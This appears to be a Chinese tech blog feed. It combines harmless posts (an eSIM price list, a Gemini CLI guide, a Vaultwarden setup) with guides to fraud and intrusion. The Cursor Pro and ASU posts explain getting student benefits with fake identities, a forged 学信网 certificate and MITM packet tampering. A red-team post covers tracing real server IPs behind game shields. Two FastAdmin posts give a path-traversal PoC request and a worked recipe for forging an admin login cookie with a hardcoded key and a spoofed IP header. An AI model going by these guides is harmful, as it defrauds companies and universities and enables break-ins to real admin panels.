KYC: 无
申办方式: App申请 (需先有实体卡)
开卡费用: 需先获取实体卡
保号费用: 3 USD/1个月 (约人民币 22 元)
漫游/功能: 支持Wi-Fi Calling

Tello

官网/信息: https://tello.com/
KYC: 无
申办方式: 网页申请
开卡费用: 8 USD (约人民币 58 元)
保号费用: 5 USD/1个月 (约人民币 36 元)
漫游/功能: 支持Wi-Fi Calling

1psim

官网/信息: https://1psim.com/
KYC: 无
申办方式: 未提供
开卡费用: 3.45 USD (约人民币 25 元)
保号费用: 1 USD/1个月 (约人民币 7.3 元)
漫游/功能: 支持Wi-Fi Calling

Redpocket

官网/信息: 可在eBay购买，然后实体SIM卡转eSIM
KYC: 未提供

T-Mobile

官网/信息: https://www.t-mobile.com/
KYC: 未提供

加拿大 (+1)

Fizz

官网/信息: https://fizz.ca/en
KYC: 未提供

大洋洲 (Oceania)

澳大利亚 (+61)

Felix

官网/信息: felix mobile
KYC: 强实名
申办方式: App申请
开卡费用: 12.5 AUD (约人民币 60 元)
保号费用: 20 AUD/1年 (约人民币 96 元)
漫游/功能: 可漫游中国联通

Amaysim

官网/信息: https://www.amaysim.com.au
KYC: 强实名
申办方式: App申请
开卡费用: 10 AUD (约人民币 48 元)
保号费用: 10 AUD/1年 (约人民币 48 元)
漫游/功能: 可漫游中国移动

Optus

官网/信息: https://www.optus.com.au/prepaid/plans/flex
KYC: 需要

新西兰 (+64)

One NZ

官网/信息: 暂无
KYC: 无
申办方式: 联网删除后扫描原二维码
开卡费用: 未提供
保号费用: 10 NZD/1年 (约人民币 45 元)
漫游/功能: 可漫游中国移动, 支持Wi-Fi Calling

Skinny

官网/信息: https://www.skinny.co.nz/
KYC: 未提供

非洲 (Africa)

摩洛哥 (+212)

Orange

官网/信息: https://www.orange.ma/
KYC: 需要

尼日利亚 (+234)

MTN

官网/信息: 暂无
KYC: 强实名
申办方式: App申请
开卡费用: 未提供
保号费用: 1228 NGN/1年 (约人民币 6 元)
漫游/功能: 可漫游中国联通

免费获取 Cursor Pro 教程

Tue, 01 Jul 2025 00:00:00 +0000

前提

edu邮箱（可见如何白嫖 edu 邮箱之 ASU）
指纹浏览器（比特浏览器 adsPower 等）
美国 IP，最好是干净的家宽 IP

步骤

使用美国 IP 通过指纹浏览器模拟美国环境进入https://www.cursor.com/students登录你的账号（如果没有，新注册一个，最好不要用 edu 邮箱注册）

按下图填入信息，信息与你注册 edu 的信息尽量一致，否则有可能不通过。邮箱填 asu.edu 邮箱

不出意外会让你登录你的 ASU 账号。ASU ID 是 @asu.edu 前面的一串（比如邮箱是 123321@asu.edu 那 ASU ID 就是 123321）。目前来看，只要能登录一定能通过

填写你的付款方式，注意：左边选择按年付款，不然就只能白嫖一个月

重点

还没有 edu 邮箱？没有也可以

浏览器 F12 工具启动，然后找到这个包，想办法在 PR 上面增加 CN（其他位置也可以，MIMT 改包）。然后国家就可以选择中国，邮箱任意填，想办法 PS 学信网证明。目前还有人能通过，什么时候被封杀还不清楚。

结尾

这两天事情太多，文章写的有些敷衍。将就看吧，有问题下面留言。

几乎免费使用的Agent AI教程

Sat, 28 Jun 2025 00:00:00 +0000

什么是 Gemini CLI？

开源AI代理Gemini CLI，将Gemini的强大能力直接注入您的终端。它提供轻量级访问通道，让您的指令直达模型核心。虽然擅长编程辅助，但Gemini CLI的潜力远不止于此——这款本地化多功能工具可胜任内容生成、问题解决、深度研究及任务管理等各类场景。

Gemini CLI预览版提供从代码解析、文件操作到命令执行与动态排障的全方位AI能力，通过自然语言实现代码编写、问题调试与工作流优化，带来革命性的命令行体验。

其核心能力包括：

谷歌搜索实时联网：获取网页内容为模型提供外部上下文
扩展支持：通过Model Context Protocol（MCP）或扩展组件增强功能
指令定制：根据需求个性化调整工作流
自动化集成：在脚本中非交互式调用实现任务自动化
Gemini CLI提供业界最大免费限额：每分钟 60 次请求，每日 1000 次调用。

想象一下，你可以直接在电脑的“小黑窗”（也就是终端或命令行界面）里，用打字的方式和强大的人工智能 Gemini 对话，让它帮你写代码、分析文件、甚至自动化处理繁琐任务。Gemini CLI (Command-Line Interface) 就是实现这一切的官方工具。

命令行界面 (CLI)

这是一个纯文本的操作环境。你通过输入命令来告诉电脑做什么。它非常高效、强大，是程序员和技术爱好者的必备工具。

图形用户界面 (GUI)

这是你平时最熟悉的界面，比如 Windows 或 macOS 桌面，有图标、窗口和按钮。你通过点击鼠标来操作电脑。

安装与配置 (一步一步来)

让我们开始动手吧！只需三个简单步骤，你就可以启动你的 AI 助手。

第一步：安装前提 (Node.js)

Gemini CLI 需要一个名为 Node.js 的环境来运行。你可以把它理解为让 Gemini CLI 能够在你电脑上跑起来的基础软件。

**检查是否已安装：**打开你的终端（在 Windows 上是 PowerShell 或命令提示符，在 Mac 上是 Terminal），输入以下命令并按回车：

node -v

如果显示出 v18.0.0 或更高的版本号，恭喜你，可以跳到第二步！如果没有，或者提示“命令未找到”，请前往 Node.js 官网下载并安装 LTS (长期支持) 版本。

第二步：安装 Gemini CLI

你有两种方式来运行 Gemini CLI，我们强烈推荐第二种以便长期使用。

快速体验 (npx)

这个命令会直接运行 Gemini CLI，但不会在你的电脑上永久安装它。适合想尝鲜的用户。

npx https://github.com/google-gemini/gemini-cli

推荐：长期使用 (npm)

这个命令会将 Gemini CLI 全局安装到你的系统中。之后，你只需输入 gemini 即可随时启动它。

npm install -g @google/gemini-cli

第三步：首次运行与授权

安装完成后，在终端里输入 gemini 并回车。首次运行时，它会引导你完成几个设置：

**选择颜色主题：**根据你的喜好为终端界面选择一个配色方案。
**登录谷歌账号：**它会提示你在浏览器中登录你的个人 Google 账号。这是为了授权 Gemini CLI 使用 Gemini 2.5 Pro 模型。放心，这个过程是安全的。

完成这些后，你就正式进入了 Gemini CLI 的交互世界！免费用户每天可以发出高达 1000 次请求，完全足够日常使用。

你的第一个 AI 互动

启动 Gemini CLI 后，你会看到一个 > 符号，这表示它正在等待你的指令。现在，试着向它提问吧！

例如，让它帮你写一个 Python 函数来生成九九乘法表：

> 帮我写一个 Python 函数，可以打印出九九乘法表

Gemini 会立刻生成代码，并可能附带解释。你还可以继续追问，比如 > 很好，现在给这段代码加上详细的注释。它会记住上下文，并根据你的新要求修改代码。

探索更多实用功能

Gemini CLI 的强大之处在于它能理解你项目中的文件。你可以用它做很多酷炫的事情：

探索代码库

进入任何一个项目文件夹后，向它提问：> 描述一下这个系统的主要架构。

辅助编程

让它帮你完成具体任务：> 为 GitHub issue #123 实现一个初步的解决方案。

代码迁移

处理复杂的重构任务：> 帮我把这个项目迁移到最新版本的 Java，先给我一个计划。

文件处理

与你的文件系统交互：> 把这个目录里所有的 jpg 图片转换成 png 格式。

进阶配置 (可选)

如果你需要更高的请求额度或使用特定的 AI 模型，可以通过设置 API 密钥 来实现。

首先，你需要从 Google AI Studio 获取你的 API 密钥。
然后，在终端中设置一个环境变量。将 YOUR_API_KEY 替换成你自己的密钥。

# 在 Mac/Linux 上
export GEMINI_API_KEY="YOUR_API_KEY"

# 在 Windows (PowerShell) 上
$env:GEMINI_API_KEY="YOUR_API_KEY"

设置完成后，Gemini CLI 将会自动使用这个密钥进行认证。

常见问题

网络问题

方式一：

开启TUN模式

方式二：

编辑 ~/.env

HTTPS_PROXY="http://127.0.0.1:10086" 
HTTP_PROXY="http://127.0.0.1:10086"

账号问题

切换账号

如果卡住按ESC，有了输入框想切换/auth

返回错误429

请不要使用API，目前登录 Google 账号不会触发429。

其他问题

如果在探索过程中遇到任何困难，别担心！官方提供了详细的文档和指南来帮助你。

前往 Gemini CLI 官方 GitHub 仓库，你可以找到 Troubleshooting guide (故障排查指南) 和完整的 CLI Commands (命令列表)。

游戏盾常见抓包及溯源真实IP的浅见

Mon, 23 Jun 2025 00:00:00 +0000

什么是游戏盾

**“游戏盾”（Game Shield）是专为在线游戏服务提供的一整套安全防护系统，主要用于抵御DDoS攻击、CC攻击、外挂和作弊，为游戏服务器和客户端提供多层保护和加密加速。其常见核心功能包括：

网络安全与抗DDoS/CC攻击

大带宽+流量清洗：通过部署高防节点（通常聚合多个机房），提供 Tbps 级抗洪能力，能够识别并过滤恶意流量，如 UDP 洪水、WebSocket洪水等，有效减轻对游戏主服务器的冲击。
协议级识别：针对游戏常用私有协议（如 KCP、QUIC、WebSocket 等）进行精准识别拦截，可区别正常游戏数据与攻击流量。
动态切换转发：攻击发生时，流量会切到下一个高防节点，实现“无感切换”，保证玩家连接不中断，真实IP隐藏于背后。

反外挂与客户端安全（SDK Game Shield）

内存和行为监控：集成 SDK 在客户端监测内存、进程、代码完整性；实时检测速度作弊、自动瞄准、墙穿等外挂行为。
AI行为模型：通过 LSTM 等机器学习模型识别异常操作，比外挂应对更智能，误杀率低。
设备指纹与沙箱保护：采集硬件特征识别虚拟设备，或运行在隔离沙箱环境中，防止外挂注入。

加速与加密传输

全局节点 + 协议优化：通过全球多个边缘节点和QUIC协议等实现低延迟（如跨国 Ping <80ms），提升游戏体验。
动态加密：客户端用 SM4 加密、服务器内存混淆，数据库加密（如 AES‑256‑GCM），保证端到端数据安全。

红队视角的目标及困难

网络数据分析 因游戏盾对网路数据进行了加密传输，逆向解密需要对安装包中的 .so 文件进行二进制分析，找到密钥写出解密算法。由于涉及大量的逆向分析，需要消耗大量的时间精力（大佬除外）。
真实IP溯源 由于游戏盾的特性，游戏服务器IP被隐藏在游戏盾的节点之后，无法找到真实IP进行网络资产扫描。

游戏盾常见的分类

网络游戏盾 常见支持抗DDoS/CC攻击，网络加速。
SDK 游戏盾（最常见） 常见支持网络数据加密，客户端保护，抗DDoS/CC攻击，网络加速。

由以上分析，网络游戏盾结构相对简单，只需要替换真实服务器域名或IP为游戏盾厂商提供的域名或IP。SDK游戏盾对游戏保护相对完善，但需要在游戏前端开发时，引入相关包，并修改部分涉及网络通信的代码。

如何抓取游戏盾数据包

网络游戏盾 如果是HTTP协议，可通过Brup、Fiddler等HTTP抓包软件抓包；如果是TCP或UDP协议可通过Wireshark等软件抓包。
SDK游戏盾 一般情况下，SDK会在本地监听一个或多个端口，通过环回地址（127.0.0.1）通信。在模拟器中（ROOT环境）使用 tcpdump 抓包。

在实战中其实还会遇到很多问题，但是抓住核心，数据在哪个阶段出现薄弱点就在哪个点抓取数据。后续会专门出一篇文章，讲解实战中遇到的常见情况及绕过。

如何抓取或溯源真实IP

通过静态资源查找真实IP 在游戏中，静态资源是热更新中及其重要环节。静态资源可能会通过HTTP协议传输，使用HTTP指纹通过资产搜索引擎（Fofa、Hunter等）或自己扫描可找出真实IP。
通过端口特征 如果使用网络游戏盾，大概率盾的端口号与真实游戏服务器开放的端口号一致，直接抓出域名，扫描域名的端口，再结合端口特征（比如80是HTTP、8080是TCP协议、8081是TCP协议，他们同时开放）扫描。
通过游戏内的接口 部分游戏中存在充值、客服接口，大概是HTTP协议，先把这部分资产搞定。
通过协议转换 有部分游戏会将HTTP协议转换为封装的TCP协议，通过抓包环回地址，直接访问本地端口，找到HTTP指纹通过资产搜索引擎（Fofa、Hunter等）或自己扫描可找出真实IP。
TCP指纹 通过抓包环回地址，直接访问本地TCP端口，获得默认返回值。通过资产搜索引擎（Fofa、Hunter等）或自己扫描可找出真实IP。

总结

其实在实战中其实还会遇到很多问题，但是抓住核心，数据在哪个阶段出现薄弱点就在哪个点抓取数据、寻找特征、匹配特征。后续会专门出一篇文章，讲解实战中遇到的常见情况及绕过方式。

申请 ASU 教育邮箱指南

Sun, 04 May 2025 00:00:00 +0000

edu邮箱权益汇总

开发者工具与技术资源

GitHub：免费Pro权限 + 89种开发工具（含$100 DigitalOcean额度）
JetBrains：全家桶IDE（IntelliJ/PyCharm等）免费
AWS/Azure：40−40-40−100云服务额度（AWS Educate/Azure for Students）
Autodesk：3年免费专业设计软件（AutoCAD/Maya等）
Figma/Sketch：免费高级版（UI/UX设计工具）

学习与生产力工具

Notion：免费Pro版（无限协作页面）
Canva：Pro会员免费（设计模板+素材库）
MATLAB/OriginLab：学术折扣或免费授权
Overleaf：高级版优惠（LaTeX协作）
Coursera/Udemy：免费课程或大幅折扣

云服务与域名

腾讯云/阿里云：年度优惠券（300元额度）
Google Drive：大容量存储（部分国外院校）
Namecheap：1年免费域名（.me/.tech等）

影音娱乐与订阅

Spotify/Apple Music：半价会员（+Apple TV+免费）
YouTube Premium：学生折扣
网易云/百度网盘：VIP优惠（需学信网验证）

硬件与购物折扣

Apple/Lenovo/Dell：教育折扣（5%-20%OFF）
Amazon Prime：6个月免费+半价续费
Nike/Adidas：Student Beans平台专属折扣

其他福利

Adobe CC：5折订阅（Photoshop/Premiere等）
Ansys/CST：免费学术仿真软件（工程专业）
Miro：无限协作白板（团队项目管理）

如何申请ASU 大学教育邮箱

首先你需要一个比较干净的美国家宽 IP。（*怎么获取或者搭建自行学习）

进入fauxid获取一个随机的美国人信息。把所有内容保存好，最好是直接 Ctrl+S 保存整个网页到桌面，这些数据后期还要验证使用的！！！

进入ASU学校官网：ASU 主页 |亚利桑那州立大学找到 Apply now

再次找到ASU application

根据之前 fauxid的信息填进去，一路下一步。不会英文的想办法翻译，遇到不会写的内容就叫 AI 给你写，比如父母的信息，邮箱尽量用真实的国外邮箱。

提交申请后，过段时间（也许几个小时也许一两天，会收到激活邮件，要求你验证之前填写的信息）。重新验证后会收到你的邮箱。
重要：ASU 下号后只能转发邮件，比如发给 XXXX@asu.edu 的邮件，只能转发到你的邮箱之中，意味着你不能发送邮件。

我在 Cursor 的帮助下写了一个案件简报管理系统

Sun, 04 May 2025 00:00:00 +0000

起因

最近案件比较多，案件的简报整理一直是一个比较头痛的问题。不同类型的案件需要的必要元素其实差距比较大，比如在大部分赌博类案件中，客户更关注的是支付结算的数据；在黑灰产类的案件中客户更关注的是技术或老板的落地或溯源信息。思来想去，把一些必要性的要素提取出来，其他的元素在一个大框架下去补充。

技术选型

近几年来基本没有做过开发了，考虑服务器成本、安全、维护、开发周期的情况下，开始选用 Fast Api+Element Plus 这样的前后端架构，单用户，指定 IP 作为白名单可访问 Web（毕竟我自己就是搞安全的，Web 不可控因素太多）。在生产环境部署的时候，突然想起 Cloudflare 大善人的 Cloudflare 的 Worker，立马重写了后端，部署到了 Cloudflare Worker。

功能

添加案件简报

管理案件简报

查看案件简报

分享案件简报

导出案件简报

可以直接通过 HTML 转换成 PDF。

Show Me You Code

之前提到过，最近几年没有做过开发了，平时最多写写 Python 脚本，所以拿起了 Cursor 来充当我的大哥。目前平台整体还不够完善，等今年有时间完成以下TODO再开源。

Todolist

完善数据库支持（MySQL、Sqlite3、Mongodb 等）。
支持多用户，完善权限管理。
登录仅支持现代化的 Passkey。
支持 Docker 部署或 Cloudflare 一键部署（目前已完成未测试）。
案件简报表单自定义，可视化定义不同案件类型的表单。

Vaultwarden for ClawCloud

Sat, 03 May 2025 00:00:00 +0000

ClawCloud Run是什么

Discover our powerful, user-friendly container hosting service — APP Launchpad—and our all-in-one development platform — Devbox. Designed for efficiency, these tools streamline your container management and application hosting projects.

ClawCloud Run is a cloud development platform that integrates online development, testing, and production environments. With just a few clicks, set up your development environment and database dependencies—reducing complexity dramatically.

说人话：ClawCloud Run可以免费部署 Docker。

部署步骤

注意事项

ClawCloud Run 有多个计划，我们如果只需要部署 vaultwarden 使用免费计划绰绰有余。
ClawCloud Run 需要 Github 登录，且 GitHub 账户注册时间大于 180 天，否则只有第一个月赠送 5 美刀。注册时间大于 180 天是每个月赠送 5 美刀。
需要准备一个域名（子域名即可）。

注册

使用 GitHub 账户登录

创建容器及配置

选择地区（一般选日本）后，点击 App Launchpad，Creat App。

Image Name

vaultwarden/server:latest

Network


端口 80，开启防落访问，并填写自定义域名，并 cname 解析过去。

Environment Variables

#去除本行及所有#注释
WEBSOCKET_ENABLED=true # 启用 WebSocket（可设为 false 降低内存）
LOG_LEVEL=warn # 减少日志输出
ENABLE_ATTACHMENTS=false # 禁用附件，降低资源需求
DOMAIN=https://xxxx.com # 替换为你的域名

为什么要使用vaultwarden（以下内容来自于 AI）

开源与自托管：Vaultwarden 是一个开源的 Bitwarden 服务器实现，允许用户自托管密码管理服务，拥有数据控制权，适合注重隐私和安全的企业或个人。
轻量级：相比官方 Bitwarden 服务器，Vaultwarden 使用 Rust 编写，资源占用更低，适合在小型服务器或个人设备上运行。
成本效益：自托管免除了订阅官方 Bitwarden 高级服务的费用，且 Vaultwarden 免费提供大部分功能。
兼容性：完全兼容 Bitwarden 客户端，支持所有官方应用和浏览器扩展，无需改变用户习惯。

工具/服务	开源性	托管方式	资源占用	成本	隐私与控制	团队功能	用户体验	适合人群
Vaultwarden	开源	自托管	低	免费	高（数据自控）	基本支持	一般	个人、小型团队、技术用户
Bitwarden 官方	部分开源	自托管或云托管	较高	免费/付费高级功能	中（云托管有隐私风险）	丰富（支持 SSO 等）	良好	个人、企业、团队
LastPass	闭源	云托管	无需本地资源	免费/付费高级功能	低（隐私问题受关注）	丰富	良好	个人、团队、追求便捷用户
1Password	闭源	云托管	无需本地资源	付费	中（依赖云服务）	丰富	优秀	个人、家庭、企业
KeePass	开源	本地存储	低	免费	高（数据本地存储）	有限	一般	注重隐私、不需云同步的用户

Fastadmin语言概念验证

Wed, 30 Apr 2025 00:00:00 +0000

FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。

POC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1

Host: xxx.xxx.xxx.xxx

代码分析 ## 1.2.0.20210125_beta版本分析

定位到相关文件application\\index\\controller\\Ajax.php：

<?php

namespace app\\index\\controller;
use app\\common\\controller\\Frontend;
use think\\Lang;
/**

* Ajax异步请求接口

* @internal

*/

class Ajax extends Frontend

{

 

protected $noNeedLogin = [\'lang\', \'upload\'];

protected $noNeedRight = [\'*\'];

protected $layout = \'\';

 

/**

* 加载语言包

*/

public function lang()

{

header(\'Content-Type: application/javascript\');

header(\"Cache-Control: public\");

header(\"Pragma: cache\");

 

$offset = 30 * 60 * 60 * 24; // 缓存一个月

header(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", time() + $offset) . \" GMT\");

 

$controllername = input(\"controllername\");

$this->loadlang($controllername);

//强制输出JSON Object

$result = jsonp(Lang::get(), 200, [], [\'json_encode_param\' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);

return $result;

}

 

/**

* 上传文件

*/

public function upload()

{

return action(\'api/common/upload\');
}
}

跟进application\\common\\controller\\Frontend.php文件中的loadlang方法：

protected function loadlang($name)

{
	$name = Loader::parseName($name);
	Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}

可以看到对$name没有任何过滤的处理，可构造类似../../application/databasePayload读取任意PHP文件。

已修复最新版本分析

直接定位文件application\\common\\controller\\Frontend.php：

protected function loadlang($name){
	$name = Loader::parseName($name);
	$lang = $this->request->langset();
	$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
	Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}

通过/^([a-zA-Z\\-_]{2,10})\\$/i对路径语言进行过滤，防止通过../跨目录读取。

彩蛋

在查看application/common/controller/Api.php历史文件中，发现loadlang方法的历史提交记录如下。

//V1版本
protected function loadlang($name){
	$name = Loader::parseName($name);
	Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}

//V2版本
protected function loadlang($name){
	$name = Loader::parseName($name);
	$lang = $this->request->langset();
	$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
	Lan::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}

//V3版本
protected function loadlang($name)
{
	$name = Loader::parseName($name);
	$name = preg_match(\"/^([a-zA-Z0-9_\\.\\/]+)\\$/i\", $name) ? $name : \'index\';
	$lang = $this->request->langset();
	$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
	Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}

FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。 # 利用条件

在有数据库读权限的情况下（例如SQL注入），无法通过新增用户登录后台可利用逻辑伪造登录。

代码分析

在application/admin/controller/Index.php中查看login方法,其中有一段代码如下，


if ($this->auth->autologin()) {

Session::delete(\"referer\");

$this->redirect($url);

}

跟进autologin()，在application/admin/library/Auth.php中找到autologin()方法


public function autologin()

{

$keeplogin = Cookie::get(\'keeplogin\');

if (!$keeplogin) {

return false;

}

list($id, $keeptime, $expiretime, $key) = explode(\'|\', $keeplogin);

if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {

$admin = Admin::get($id);

if (!$admin || !$admin->token) {

return false;

}

//token有变更

if ($key != $this->getKeeploginKey($admin, $keeptime, $expiretime)) {

return false;

}

$ip = request()->ip();

//IP有变动

if ($admin->loginip != $ip) {

return false;

}

Session::set(\"admin\", $admin->toArray());

Session::set(\"admin.safecode\", $this->getEncryptSafecode($admin));

//刷新自动登录的时效

$this->keeplogin($admin, $keeptime);

return true;

} else {

return false;

}

}

整个变量$keeplogin处于可控状态，只需要满足函数getKeeploginKey的返回值为真且IP与数据库中的IP一致即可。

跟进函数getKeeploginKey


public function getEncryptKeeplogin($params, $keeptime)

{

$expiretime = time() + $keeptime;

$key = md5(md5($params[\'id\']) . md5($keeptime) . md5($expiretime) . $params[\'token\'] . config(\'token.key\'));

return implode(\'|\', [$this->id, $keeptime, $expiretime, $key]);

}

这里两个值不可控，其中$params[\'token\']及config(\'token.key\')分别在数据库及配置文件中。 # 利用分析

我们仅需有数据库的读数据权限（往往是SQL注入漏洞获得）可尝试利用。

其余config(\'token.key\')在配置文件中为硬编码，在不修改的情况下可利用该逻辑伪造登录后台。

分析代码，确定利用方式如下


id-->11-->6512bd43d9caa6e02c990b0a82652dca

 

keeptime-->86400-->641bed6f12f5f0033edd3827deec6759

 

expiretime-->1728386749-->94ce8cac9f4abe2fc673bc9a48c8e3aa

 

token-->84430494-801e-4302-a032-c302ca0b3dfe

 

key-->6512bd43d9caa6e02c990b0a82652dca641bed6f12f5f0033edd3827deec675994ce8cac9f4abe2fc673bc9a48c8e3aa84430494-801e-4302-a032-c302ca0b3dfei0TzJlGnaCqvgWASw3ZN1kREY5DbO42I-->54cada4a0d23bf68e7b8dcc2e9eb6e6c

 

token.key-->i0TzJlGnaCqvgWASw3ZN1kREY5DbO42I

 

keeplogin-->11|86400|1728386749|54cada4a0d23bf68e7b8dcc2e9eb6e6c

得出keeplogin后添加到cookie,IP利用X-foward伪造即可。